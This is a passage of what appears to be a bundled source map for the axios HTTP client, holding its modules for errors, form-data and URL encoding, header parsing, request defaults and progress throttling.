customProps) => {\n const axiosError = Object.create(prototype);\n\n utils.toFlatObject(error, axiosError, function filter(obj) {\n return obj !== Error.prototype;\n }, prop => {\n return prop !== 'isAxiosError';\n });\n\n AxiosError.call(axiosError, error.message, code, config, request, response);\n\n axiosError.cause = error;\n\n axiosError.name = error.name;\n\n customProps && Object.assign(axiosError, customProps);\n\n return axiosError;\n};\n\nexport default AxiosError;\n","// eslint-disable-next-line strict\nexport default null;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\n// temporary hotfix to avoid circular references until AxiosURLSearchParams is refactored\nimport PlatformFormData from '../platform/node/classes/FormData.js';\n\n/**\n * Determines if the given thing is a array or js object.\n *\n * @param {string} thing - The object or array to be visited.\n *\n * @returns {boolean}\n */\nfunction isVisitable(thing) {\n return utils.isPlainObject(thing) || utils.isArray(thing);\n}\n\n/**\n * It removes the brackets from the end of a string\n *\n * @param {string} key - The key of the parameter.\n *\n * @returns {string} the key without the brackets.\n */\nfunction removeBrackets(key) {\n return utils.endsWith(key, '[]') ? key.slice(0, -2) : key;\n}\n\n/**\n * It takes a path, a key, and a boolean, and returns a string\n *\n * @param {string} path - The path to the current key.\n * @param {string} key - The key of the current object being iterated over.\n * @param {string} dots - If true, the key will be rendered with dots instead of brackets.\n *\n * @returns {string} The path to the current key.\n */\nfunction renderKey(path, key, dots) {\n if (!path) return key;\n return path.concat(key).map(function each(token, i) {\n // eslint-disable-next-line no-param-reassign\n token = removeBrackets(token);\n return !dots && i ? '[' + token + ']' : token;\n }).join(dots ? '.' : '');\n}\n\n/**\n * If the array is an array and none of its elements are visitable, then it's a flat array.\n *\n * @param {Array<any>} arr - The array to check\n *\n * @returns {boolean}\n */\nfunction isFlatArray(arr) {\n return utils.isArray(arr) && !arr.some(isVisitable);\n}\n\nconst predicates = utils.toFlatObject(utils, {}, null, function filter(prop) {\n return /^is[A-Z]/.test(prop);\n});\n\n/**\n * Convert a data object to FormData\n *\n * @param {Object} obj\n * @param {?Object} [formData]\n * @param {?Object} [options]\n * @param {Function} [options.visitor]\n * @param {Boolean} [options.metaTokens = true]\n * @param {Boolean} [options.dots = false]\n * @param {?Boolean} [options.indexes = false]\n *\n * @returns {Object}\n **/\n\n/**\n * It converts an object into a FormData object\n *\n * @param {Object<any, any>} obj - The object to convert to form data.\n * @param {string} formData - The FormData object to append to.\n * @param {Object<string, any>} options\n *\n * @returns\n */\nfunction toFormData(obj, formData, options) {\n if (!utils.isObject(obj)) {\n throw new TypeError('target must be an object');\n }\n\n // eslint-disable-next-line no-param-reassign\n formData = formData || new (PlatformFormData || FormData)();\n\n // eslint-disable-next-line no-param-reassign\n options = utils.toFlatObject(options, {\n metaTokens: true,\n dots: false,\n indexes: false\n }, false, function defined(option, source) {\n // eslint-disable-next-line no-eq-null,eqeqeq\n return !utils.isUndefined(source[option]);\n });\n\n const metaTokens = options.metaTokens;\n // eslint-disable-next-line no-use-before-define\n const visitor = options.visitor || defaultVisitor;\n const dots = options.dots;\n const indexes = options.indexes;\n const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;\n const useBlob = _Blob && utils.isSpecCompliantForm(formData);\n\n if (!utils.isFunction(visitor)) {\n throw new TypeError('visitor must be a function');\n }\n\n function convertValue(value) {\n if (value === null) return '';\n\n if (utils.isDate(value)) {\n return value.toISOString();\n }\n\n if (!useBlob && utils.isBlob(value)) {\n throw new AxiosError('Blob is not supported. Use a Buffer instead.');\n }\n\n if (utils.isArrayBuffer(value) || utils.isTypedArray(value)) {\n return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);\n }\n\n return value;\n }\n\n /**\n * Default visitor.\n *\n * @param {*} value\n * @param {String|Number} key\n * @param {Array<String|Number>} path\n * @this {FormData}\n *\n * @returns {boolean} return true to visit the each prop of the value recursively\n */\n function defaultVisitor(value, key, path) {\n let arr = value;\n\n if (value && !path && typeof value === 'object') {\n if (utils.endsWith(key, '{}')) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n } else if (\n (utils.isArray(value) && isFlatArray(value)) ||\n ((utils.isFileList(value) || utils.endsWith(key, '[]')) && (arr = utils.toArray(value))\n )) {\n // eslint-disable-next-line no-param-reassign\n key = removeBrackets(key);\n\n arr.forEach(function each(el, index) {\n !(utils.isUndefined(el) || el === null) && formData.append(\n // eslint-disable-next-line no-nested-ternary\n indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'),\n convertValue(el)\n );\n });\n return false;\n }\n }\n\n if (isVisitable(value)) {\n return true;\n }\n\n formData.append(renderKey(path, key, dots), convertValue(value));\n\n return false;\n }\n\n const stack = [];\n\n const exposedHelpers = Object.assign(predicates, {\n defaultVisitor,\n convertValue,\n isVisitable\n });\n\n function build(value, path) {\n if (utils.isUndefined(value)) return;\n\n if (stack.indexOf(value) !== -1) {\n throw Error('Circular reference detected in ' + path.join('.'));\n }\n\n stack.push(value);\n\n utils.forEach(value, function each(el, key) {\n const result = !(utils.isUndefined(el) || el === null) && visitor.call(\n formData, el, utils.isString(key) ? key.trim() : key, path, exposedHelpers\n );\n\n if (result === true) {\n build(el, path ? path.concat(key) : [key]);\n }\n });\n\n stack.pop();\n }\n\n if (!utils.isObject(obj)) {\n throw new TypeError('data must be an object');\n }\n\n build(obj);\n\n return formData;\n}\n\nexport default toFormData;\n","'use strict';\n\nimport toFormData from './toFormData.js';\n\n/**\n * It encodes a string by replacing all characters that are not in the unreserved set with\n * their percent-encoded equivalents\n *\n * @param {string} str - The string to encode.\n *\n * @returns {string} The encoded string.\n */\nfunction encode(str) {\n const charMap = {\n '!': '%21',\n \"'\": '%27',\n '(': '%28',\n ')': '%29',\n '~': '%7E',\n '%20': '+',\n '%00': '\\x00'\n };\n return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {\n return charMap[match];\n });\n}\n\n/**\n * It takes a params object and converts it to a FormData object\n *\n * @param {Object<string, any>} params - The parameters to be converted to a FormData object.\n * @param {Object<string, any>} options - The options object passed to the Axios constructor.\n *\n * @returns {void}\n */\nfunction AxiosURLSearchParams(params, options) {\n this._pairs = [];\n\n params && toFormData(params, this, options);\n}\n\nconst prototype = AxiosURLSearchParams.prototype;\n\nprototype.append = function append(name, value) {\n this._pairs.push([name, value]);\n};\n\nprototype.toString = function toString(encoder) {\n const _encode = encoder ? function(value) {\n return encoder.call(this, value, encode);\n } : encode;\n\n return this._pairs.map(function each(pair) {\n return _encode(pair[0]) + '=' + _encode(pair[1]);\n }, '').join('&');\n};\n\nexport default AxiosURLSearchParams;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosURLSearchParams from '../helpers/AxiosURLSearchParams.js';\n\n/**\n * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their\n * URI encoded counterparts\n *\n * @param {string} val The value to be encoded.\n *\n * @returns {string} The encoded value.\n */\nfunction encode(val) {\n return encodeURIComponent(val).\n replace(/%3A/gi, ':').\n replace(/%24/g, '$').\n replace(/%2C/gi, ',').\n replace(/%20/g, '+').\n replace(/%5B/gi, '[').\n replace(/%5D/gi, ']');\n}\n\n/**\n * Build a URL by appending params to the end\n *\n * @param {string} url The base of the url (e.g., http://www.google.com)\n * @param {object} [params] The params to be appended\n * @param {?object} options\n *\n * @returns {string} The formatted url\n */\nexport default function buildURL(url, params, options) {\n /*eslint no-param-reassign:0*/\n if (!params) {\n return url;\n }\n \n const _encode = options && options.encode || encode;\n\n const serializeFn = options && options.serialize;\n\n let serializedParams;\n\n if (serializeFn) {\n serializedParams = serializeFn(params, options);\n } else {\n serializedParams = utils.isURLSearchParams(params) ?\n params.toString() :\n new AxiosURLSearchParams(params, options).toString(_encode);\n }\n\n if (serializedParams) {\n const hashmarkIndex = url.indexOf(\"#\");\n\n if (hashmarkIndex !== -1) {\n url = url.slice(0, hashmarkIndex);\n }\n url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;\n }\n\n return url;\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\nclass InterceptorManager {\n constructor() {\n this.handlers = [];\n }\n\n /**\n * Add a new interceptor to the stack\n *\n * @param {Function} fulfilled The function to handle `then` for a `Promise`\n * @param {Function} rejected The function to handle `reject` for a `Promise`\n *\n * @return {Number} An ID used to remove interceptor later\n */\n use(fulfilled, rejected, options) {\n this.handlers.push({\n fulfilled,\n rejected,\n synchronous: options ? options.synchronous : false,\n runWhen: options ? options.runWhen : null\n });\n return this.handlers.length - 1;\n }\n\n /**\n * Remove an interceptor from the stack\n *\n * @param {Number} id The ID that was returned by `use`\n *\n * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise\n */\n eject(id) {\n if (this.handlers[id]) {\n this.handlers[id] = null;\n }\n }\n\n /**\n * Clear all interceptors from the stack\n *\n * @returns {void}\n */\n clear() {\n if (this.handlers) {\n this.handlers = [];\n }\n }\n\n /**\n * Iterate over all the registered interceptors\n *\n * This method is particularly useful for skipping over any\n * interceptors that may have become `null` calling `eject`.\n *\n * @param {Function} fn The function to call for each interceptor\n *\n * @returns {void}\n */\n forEach(fn) {\n utils.forEach(this.handlers, function forEachHandler(h) {\n if (h !== null) {\n fn(h);\n }\n });\n }\n}\n\nexport default InterceptorManager;\n","'use strict';\n\nexport default {\n silentJSONParsing: true,\n forcedJSONParsing: true,\n clarifyTimeoutError: false\n};\n","'use strict';\n\nimport AxiosURLSearchParams from '../../../helpers/AxiosURLSearchParams.js';\nexport default typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams;\n","'use strict';\n\nexport default typeof FormData !== 'undefined' ? FormData : null;\n","'use strict'\n\nexport default typeof Blob !== 'undefined' ? Blob : null\n","import URLSearchParams from './classes/URLSearchParams.js'\nimport FormData from './classes/FormData.js'\nimport Blob from './classes/Blob.js'\n\nexport default {\n isBrowser: true,\n classes: {\n URLSearchParams,\n FormData,\n Blob\n },\n protocols: ['http', 'https', 'file', 'blob', 'url', 'data']\n};\n","const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined';\n\n/**\n * Determine if we're running in a standard browser environment\n *\n * This allows axios to run in a web worker, and react-native.\n * Both environments support XMLHttpRequest, but not fully standard globals.\n *\n * web workers:\n * typeof window -> undefined\n * typeof document -> undefined\n *\n * react-native:\n * navigator.product -> 'ReactNative'\n * nativescript\n * navigator.product -> 'NativeScript' or 'NS'\n *\n * @returns {boolean}\n */\nconst hasStandardBrowserEnv = (\n (product) => {\n return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0\n })(typeof navigator !== 'undefined' && navigator.product);\n\n/**\n * Determine if we're running in a standard browser webWorker environment\n *\n * Although the `isStandardBrowserEnv` method indicates that\n * `allows axios to run in a web worker`, the WebWorker will still be\n * filtered out due to its judgment standard\n * `typeof window !== 'undefined' && typeof document !== 'undefined'`.\n * This leads to a problem when axios post `FormData` in webWorker\n */\nconst hasStandardBrowserWebWorkerEnv = (() => {\n return (\n typeof WorkerGlobalScope !== 'undefined' &&\n // eslint-disable-next-line no-undef\n self instanceof WorkerGlobalScope &&\n typeof self.importScripts === 'function'\n );\n})();\n\nconst origin = hasBrowserEnv && window.location.href || 'http://localhost';\n\nexport {\n hasBrowserEnv,\n hasStandardBrowserWebWorkerEnv,\n hasStandardBrowserEnv,\n origin\n}\n","import platform from './node/index.js';\nimport * as utils from './common/utils.js';\n\nexport default {\n ...utils,\n ...platform\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport toFormData from './toFormData.js';\nimport platform from '../platform/index.js';\n\nexport default function toURLEncodedForm(data, options) {\n return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({\n visitor: function(value, key, path, helpers) {\n if (platform.isNode && utils.isBuffer(value)) {\n this.append(key, value.toString('base64'));\n return false;\n }\n\n return helpers.defaultVisitor.apply(this, arguments);\n }\n }, options));\n}\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']\n *\n * @param {string} name - The name of the property to get.\n *\n * @returns An array of strings.\n */\nfunction parsePropPath(name) {\n // foo[x][y][z]\n // foo.x.y.z\n // foo-x-y-z\n // foo x y z\n return utils.matchAll(/\\w+|\\[(\\w*)]/g, name).map(match => {\n return match[0] === '[]' ? '' : match[1] || match[0];\n });\n}\n\n/**\n * Convert an array to an object.\n *\n * @param {Array<any>} arr - The array to convert to an object.\n *\n * @returns An object with the same keys and values as the array.\n */\nfunction arrayToObject(arr) {\n const obj = {};\n const keys = Object.keys(arr);\n let i;\n const len = keys.length;\n let key;\n for (i = 0; i < len; i++) {\n key = keys[i];\n obj[key] = arr[key];\n }\n return obj;\n}\n\n/**\n * It takes a FormData object and returns a JavaScript object\n *\n * @param {string} formData The FormData object to convert to JSON.\n *\n * @returns {Object<string, any> | null} The converted object.\n */\nfunction formDataToJSON(formData) {\n function buildPath(path, value, target, index) {\n let name = path[index++];\n\n if (name === '__proto__') return true;\n\n const isNumericKey = Number.isFinite(+name);\n const isLast = index >= path.length;\n name = !name && utils.isArray(target) ? target.length : name;\n\n if (isLast) {\n if (utils.hasOwnProp(target, name)) {\n target[name] = [target[name], value];\n } else {\n target[name] = value;\n }\n\n return !isNumericKey;\n }\n\n if (!target[name] || !utils.isObject(target[name])) {\n target[name] = [];\n }\n\n const result = buildPath(path, value, target[name], index);\n\n if (result && utils.isArray(target[name])) {\n target[name] = arrayToObject(target[name]);\n }\n\n return !isNumericKey;\n }\n\n if (utils.isFormData(formData) && utils.isFunction(formData.entries)) {\n const obj = {};\n\n utils.forEachEntry(formData, (name, value) => {\n buildPath(parsePropPath(name), value, obj, 0);\n });\n\n return obj;\n }\n\n return null;\n}\n\nexport default formDataToJSON;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\nimport transitionalDefaults from './transitional.js';\nimport toFormData from '../helpers/toFormData.js';\nimport toURLEncodedForm from '../helpers/toURLEncodedForm.js';\nimport platform from '../platform/index.js';\nimport formDataToJSON from '../helpers/formDataToJSON.js';\n\n/**\n * It takes a string, tries to parse it, and if it fails, it returns the stringified version\n * of the input\n *\n * @param {any} rawValue - The value to be stringified.\n * @param {Function} parser - A function that parses a string into a JavaScript object.\n * @param {Function} encoder - A function that takes a value and returns a string.\n *\n * @returns {string} A stringified version of the rawValue.\n */\nfunction stringifySafely(rawValue, parser, encoder) {\n if (utils.isString(rawValue)) {\n try {\n (parser || JSON.parse)(rawValue);\n return utils.trim(rawValue);\n } catch (e) {\n if (e.name !== 'SyntaxError') {\n throw e;\n }\n }\n }\n\n return (encoder || JSON.stringify)(rawValue);\n}\n\nconst defaults = {\n\n transitional: transitionalDefaults,\n\n adapter: ['xhr', 'http', 'fetch'],\n\n transformRequest: [function transformRequest(data, headers) {\n const contentType = headers.getContentType() || '';\n const hasJSONContentType = contentType.indexOf('application/json') > -1;\n const isObjectPayload = utils.isObject(data);\n\n if (isObjectPayload && utils.isHTMLForm(data)) {\n data = new FormData(data);\n }\n\n const isFormData = utils.isFormData(data);\n\n if (isFormData) {\n return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n }\n\n if (utils.isArrayBuffer(data) ||\n utils.isBuffer(data) ||\n utils.isStream(data) ||\n utils.isFile(data) ||\n utils.isBlob(data) ||\n utils.isReadableStream(data)\n ) {\n return data;\n }\n if (utils.isArrayBufferView(data)) {\n return data.buffer;\n }\n if (utils.isURLSearchParams(data)) {\n headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);\n return data.toString();\n }\n\n let isFileList;\n\n if (isObjectPayload) {\n if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {\n return toURLEncodedForm(data, this.formSerializer).toString();\n }\n\n if ((isFileList = utils.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {\n const _FormData = this.env && this.env.FormData;\n\n return toFormData(\n isFileList ? {'files[]': data} : data,\n _FormData && new _FormData(),\n this.formSerializer\n );\n }\n }\n\n if (isObjectPayload || hasJSONContentType ) {\n headers.setContentType('application/json', false);\n return stringifySafely(data);\n }\n\n return data;\n }],\n\n transformResponse: [function transformResponse(data) {\n const transitional = this.transitional || defaults.transitional;\n const forcedJSONParsing = transitional && transitional.forcedJSONParsing;\n const JSONRequested = this.responseType === 'json';\n\n if (utils.isResponse(data) || utils.isReadableStream(data)) {\n return data;\n }\n\n if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {\n const silentJSONParsing = transitional && transitional.silentJSONParsing;\n const strictJSONParsing = !silentJSONParsing && JSONRequested;\n\n try {\n return JSON.parse(data);\n } catch (e) {\n if (strictJSONParsing) {\n if (e.name === 'SyntaxError') {\n throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);\n }\n throw e;\n }\n }\n }\n\n return data;\n }],\n\n /**\n * A timeout in milliseconds to abort a request. If set to 0 (default) a\n * timeout is not created.\n */\n timeout: 0,\n\n xsrfCookieName: 'XSRF-TOKEN',\n xsrfHeaderName: 'X-XSRF-TOKEN',\n\n maxContentLength: -1,\n maxBodyLength: -1,\n\n env: {\n FormData: platform.classes.FormData,\n Blob: platform.classes.Blob\n },\n\n validateStatus: function validateStatus(status) {\n return status >= 200 && status < 300;\n },\n\n headers: {\n common: {\n 'Accept': 'application/json, text/plain, */*',\n 'Content-Type': undefined\n }\n }\n};\n\nutils.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => {\n defaults.headers[method] = {};\n});\n\nexport default defaults;\n","'use strict';\n\nimport utils from './../utils.js';\n\n// RawAxiosHeaders whose duplicates are ignored by node\n// c.f. https://nodejs.org/api/http.html#http_message_headers\nconst ignoreDuplicateOf = utils.toObjectSet([\n 'age', 'authorization', 'content-length', 'content-type', 'etag',\n 'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',\n 'last-modified', 'location', 'max-forwards', 'proxy-authorization',\n 'referer', 'retry-after', 'user-agent'\n]);\n\n/**\n * Parse headers into an object\n *\n * ```\n * Date: Wed, 27 Aug 2014 08:58:49 GMT\n * Content-Type: application/json\n * Connection: keep-alive\n * Transfer-Encoding: chunked\n * ```\n *\n * @param {String} rawHeaders Headers needing to be parsed\n *\n * @returns {Object} Headers parsed into an object\n */\nexport default rawHeaders => {\n const parsed = {};\n let key;\n let val;\n let i;\n\n rawHeaders && rawHeaders.split('\\n').forEach(function parser(line) {\n i = line.indexOf(':');\n key = line.substring(0, i).trim().toLowerCase();\n val = line.substring(i + 1).trim();\n\n if (!key || (parsed[key] && ignoreDuplicateOf[key])) {\n return;\n }\n\n if (key === 'set-cookie') {\n if (parsed[key]) {\n parsed[key].push(val);\n } else {\n parsed[key] = [val];\n }\n } else {\n parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;\n }\n });\n\n return parsed;\n};\n","'use strict';\n\nimport utils from '../utils.js';\nimport parseHeaders from '../helpers/parseHeaders.js';\n\nconst $internals = Symbol('internals');\n\nfunction normalizeHeader(header) {\n return header && String(header).trim().toLowerCase();\n}\n\nfunction normalizeValue(value) {\n if (value === false || value == null) {\n return value;\n }\n\n return utils.isArray(value) ? value.map(normalizeValue) : String(value);\n}\n\nfunction parseTokens(str) {\n const tokens = Object.create(null);\n const tokensRE = /([^\\s,;=]+)\\s*(?:=\\s*([^,;]+))?/g;\n let match;\n\n while ((match = tokensRE.exec(str))) {\n tokens[match[1]] = match[2];\n }\n\n return tokens;\n}\n\nconst isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());\n\nfunction matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {\n if (utils.isFunction(filter)) {\n return filter.call(this, value, header);\n }\n\n if (isHeaderNameFilter) {\n value = header;\n }\n\n if (!utils.isString(value)) return;\n\n if (utils.isString(filter)) {\n return value.indexOf(filter) !== -1;\n }\n\n if (utils.isRegExp(filter)) {\n return filter.test(value);\n }\n}\n\nfunction formatHeader(header) {\n return header.trim()\n .toLowerCase().replace(/([a-z\\d])(\\w*)/g, (w, char, str) => {\n return char.toUpperCase() + str;\n });\n}\n\nfunction buildAccessors(obj, header) {\n const accessorName = utils.toCamelCase(' ' + header);\n\n ['get', 'set', 'has'].forEach(methodName => {\n Object.defineProperty(obj, methodName + accessorName, {\n value: function(arg1, arg2, arg3) {\n return this[methodName].call(this, header, arg1, arg2, arg3);\n },\n configurable: true\n });\n });\n}\n\nclass AxiosHeaders {\n constructor(headers) {\n headers && this.set(headers);\n }\n\n set(header, valueOrRewrite, rewrite) {\n const self = this;\n\n function setHeader(_value, _header, _rewrite) {\n const lHeader = normalizeHeader(_header);\n\n if (!lHeader) {\n throw new Error('header name must be a non-empty string');\n }\n\n const key = utils.findKey(self, lHeader);\n\n if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) {\n self[key || _header] = normalizeValue(_value);\n }\n }\n\n const setHeaders = (headers, _rewrite) =>\n utils.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));\n\n if (utils.isPlainObject(header) || header instanceof this.constructor) {\n setHeaders(header, valueOrRewrite)\n } else if(utils.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {\n setHeaders(parseHeaders(header), valueOrRewrite);\n } else if (utils.isHeaders(header)) {\n for (const [key, value] of header.entries()) {\n setHeader(value, key, rewrite);\n }\n } else {\n header != null && setHeader(valueOrRewrite, header, rewrite);\n }\n\n return this;\n }\n\n get(header, parser) {\n header = normalizeHeader(header);\n\n if (header) {\n const key = utils.findKey(this, header);\n\n if (key) {\n const value = this[key];\n\n if (!parser) {\n return value;\n }\n\n if (parser === true) {\n return parseTokens(value);\n }\n\n if (utils.isFunction(parser)) {\n return parser.call(this, value, key);\n }\n\n if (utils.isRegExp(parser)) {\n return parser.exec(value);\n }\n\n throw new TypeError('parser must be boolean|regexp|function');\n }\n }\n }\n\n has(header, matcher) {\n header = normalizeHeader(header);\n\n if (header) {\n const key = utils.findKey(this, header);\n\n return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));\n }\n\n return false;\n }\n\n delete(header, matcher) {\n const self = this;\n let deleted = false;\n\n function deleteHeader(_header) {\n _header = normalizeHeader(_header);\n\n if (_header) {\n const key = utils.findKey(self, _header);\n\n if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {\n delete self[key];\n\n deleted = true;\n }\n }\n }\n\n if (utils.isArray(header)) {\n header.forEach(deleteHeader);\n } else {\n deleteHeader(header);\n }\n\n return deleted;\n }\n\n clear(matcher) {\n const keys = Object.keys(this);\n let i = keys.length;\n let deleted = false;\n\n while (i--) {\n const key = keys[i];\n if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {\n delete this[key];\n deleted = true;\n }\n }\n\n return deleted;\n }\n\n normalize(format) {\n const self = this;\n const headers = {};\n\n utils.forEach(this, (value, header) => {\n const key = utils.findKey(headers, header);\n\n if (key) {\n self[key] = normalizeValue(value);\n delete self[header];\n return;\n }\n\n const normalized = format ? formatHeader(header) : String(header).trim();\n\n if (normalized !== header) {\n delete self[header];\n }\n\n self[normalized] = normalizeValue(value);\n\n headers[normalized] = true;\n });\n\n return this;\n }\n\n concat(...targets) {\n return this.constructor.concat(this, ...targets);\n }\n\n toJSON(asStrings) {\n const obj = Object.create(null);\n\n utils.forEach(this, (value, header) => {\n value != null && value !== false && (obj[header] = asStrings && utils.isArray(value) ? value.join(', ') : value);\n });\n\n return obj;\n }\n\n [Symbol.iterator]() {\n return Object.entries(this.toJSON())[Symbol.iterator]();\n }\n\n toString() {\n return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\\n');\n }\n\n get [Symbol.toStringTag]() {\n return 'AxiosHeaders';\n }\n\n static from(thing) {\n return thing instanceof this ? thing : new this(thing);\n }\n\n static concat(first, ...targets) {\n const computed = new this(first);\n\n targets.forEach((target) => computed.set(target));\n\n return computed;\n }\n\n static accessor(header) {\n const internals = this[$internals] = (this[$internals] = {\n accessors: {}\n });\n\n const accessors = internals.accessors;\n const prototype = this.prototype;\n\n function defineAccessor(_header) {\n const lHeader = normalizeHeader(_header);\n\n if (!accessors[lHeader]) {\n buildAccessors(prototype, _header);\n accessors[lHeader] = true;\n }\n }\n\n utils.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);\n\n return this;\n }\n}\n\nAxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);\n\n// reserved names hotfix\nutils.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => {\n let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`\n return {\n get: () => value,\n set(headerValue) {\n this[mapped] = headerValue;\n }\n }\n});\n\nutils.freezeMethods(AxiosHeaders);\n\nexport default AxiosHeaders;\n","'use strict';\n\nimport utils from './../utils.js';\nimport defaults from '../defaults/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\n\n/**\n * Transform the data for a request or a response\n *\n * @param {Array|Function} fns A single function or Array of functions\n * @param {?Object} response The response object\n *\n * @returns {*} The resulting transformed data\n */\nexport default function transformData(fns, response) {\n const config = this || defaults;\n const context = response || config;\n const headers = AxiosHeaders.from(context.headers);\n let data = context.data;\n\n utils.forEach(fns, function transform(fn) {\n data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n });\n\n headers.normalize();\n\n return data;\n}\n","'use strict';\n\nexport default function isCancel(value) {\n return !!(value && value.__CANCEL__);\n}\n","'use strict';\n\nimport AxiosError from '../core/AxiosError.js';\nimport utils from '../utils.js';\n\n/**\n * A `CanceledError` is an object that is thrown when an operation is canceled.\n *\n * @param {string=} message The message.\n * @param {Object=} config The config.\n * @param {Object=} request The request.\n *\n * @returns {CanceledError} The created error.\n */\nfunction CanceledError(message, config, request) {\n // eslint-disable-next-line no-eq-null,eqeqeq\n AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request);\n this.name = 'CanceledError';\n}\n\nutils.inherits(CanceledError, AxiosError, {\n __CANCEL__: true\n});\n\nexport default CanceledError;\n","'use strict';\n\nimport AxiosError from './AxiosError.js';\n\n/**\n * Resolve or reject a Promise based on response status.\n *\n * @param {Function} resolve A function that resolves the promise.\n * @param {Function} reject A function that rejects the promise.\n * @param {object} response The response.\n *\n * @returns {object} The response.\n */\nexport default function settle(resolve, reject, response) {\n const validateStatus = response.config.validateStatus;\n if (!response.status || !validateStatus || validateStatus(response.status)) {\n resolve(response);\n } else {\n reject(new AxiosError(\n 'Request failed with status code ' + response.status,\n [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],\n response.config,\n response.request,\n response\n ));\n }\n}\n","'use strict';\n\nexport default function parseProtocol(url) {\n const match = /^([-+\\w]{1,25})(:?\\/\\/|:)/.exec(url);\n return match && match[1] || '';\n}\n","'use strict';\n\n/**\n * Calculate data maxRate\n * @param {Number} [samplesCount= 10]\n * @param {Number} [min= 1000]\n * @returns {Function}\n */\nfunction speedometer(samplesCount, min) {\n samplesCount = samplesCount || 10;\n const bytes = new Array(samplesCount);\n const timestamps = new Array(samplesCount);\n let head = 0;\n let tail = 0;\n let firstSampleTS;\n\n min = min !== undefined ? min : 1000;\n\n return function push(chunkLength) {\n const now = Date.now();\n\n const startedAt = timestamps[tail];\n\n if (!firstSampleTS) {\n firstSampleTS = now;\n }\n\n bytes[head] = chunkLength;\n timestamps[head] = now;\n\n let i = tail;\n let bytesCount = 0;\n\n while (i !== head) {\n bytesCount += bytes[i++];\n i = i % samplesCount;\n }\n\n head = (head + 1) % samplesCount;\n\n if (head === tail) {\n tail = (tail + 1) % samplesCount;\n }\n\n if (now - firstSampleTS < min) {\n return;\n }\n\n const passed = startedAt && now - startedAt;\n\n return passed ? Math.round(bytesCount * 1000 / passed) : undefined;\n };\n}\n\nexport default speedometer;\n","'use strict';\n\n/**\n * Throttle decorator\n * @param {Function} fn\n * @param {Number} freq\n * @return {Function}\n */\nfunction throttle(fn, freq) {\n let timestamp = 0;\n const threshold = 1000 / freq;\n let timer = null;\n return function throttled() {\n const force = this === true;\n\n const now = Date.now();\n if (force || now - timestamp > threshold) {\n if (timer) {\n clearTimeout(timer);\n timer = null;\n }\n timestamp = now;\n return fn.apply(null, arguments);\n }\n if (!timer) {\n timer = setTimeout(() => {\n timer = null;\n timestamp = Date.now();\n return fn.apply(null, arguments);\n }, threshold - (now - timestamp));\n }\n };\n}\n\nexport default throttle;\n","import speedometer from \"./speedometer.js\";\nimport throttle from \"./throttle.js\";\n\nexport default (listener, isDownloadStream, freq = 3) => {\n let bytesNotified = 0;\n const _speedometer = speedometer(50, 250);\n\n return throttle(e => {\n const loaded = e.loaded;\n const total = e.lengthComputable ? e.total : undefined;\n const progressBytes = loaded - bytesNotified;\n const rate = _speedometer(progressBytes);\n const inRange = loaded <= total;\n\n bytesNotified = loaded;\n\n const data = {\n loaded,\n total,\n progress: total ? (loaded / total) : undefined,\n bytes: progressBytes,\n rate: rate ? rate : undefined,\n estimated: rate && total && inRange ? (total - loaded) / rate : undefined,\n event: e,\n lengthComputable: total != null\n };\n\n data[isDownloadStream ? 'download' : 'upload'] = true;\n\n listener(data);\n }, freq);\n}\n","'use strict';\n\nimport utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n// Standard browser envs have full support of the APIs needed to test\n// whether the request URL is of the same origin as current location.\n (function standardBrowserEnv() {\n const msie = /(msie|trident)/i.test(navigator.userAgent);\n const urlParsingNode = document.createElement('a');\n let originURL;\n\n 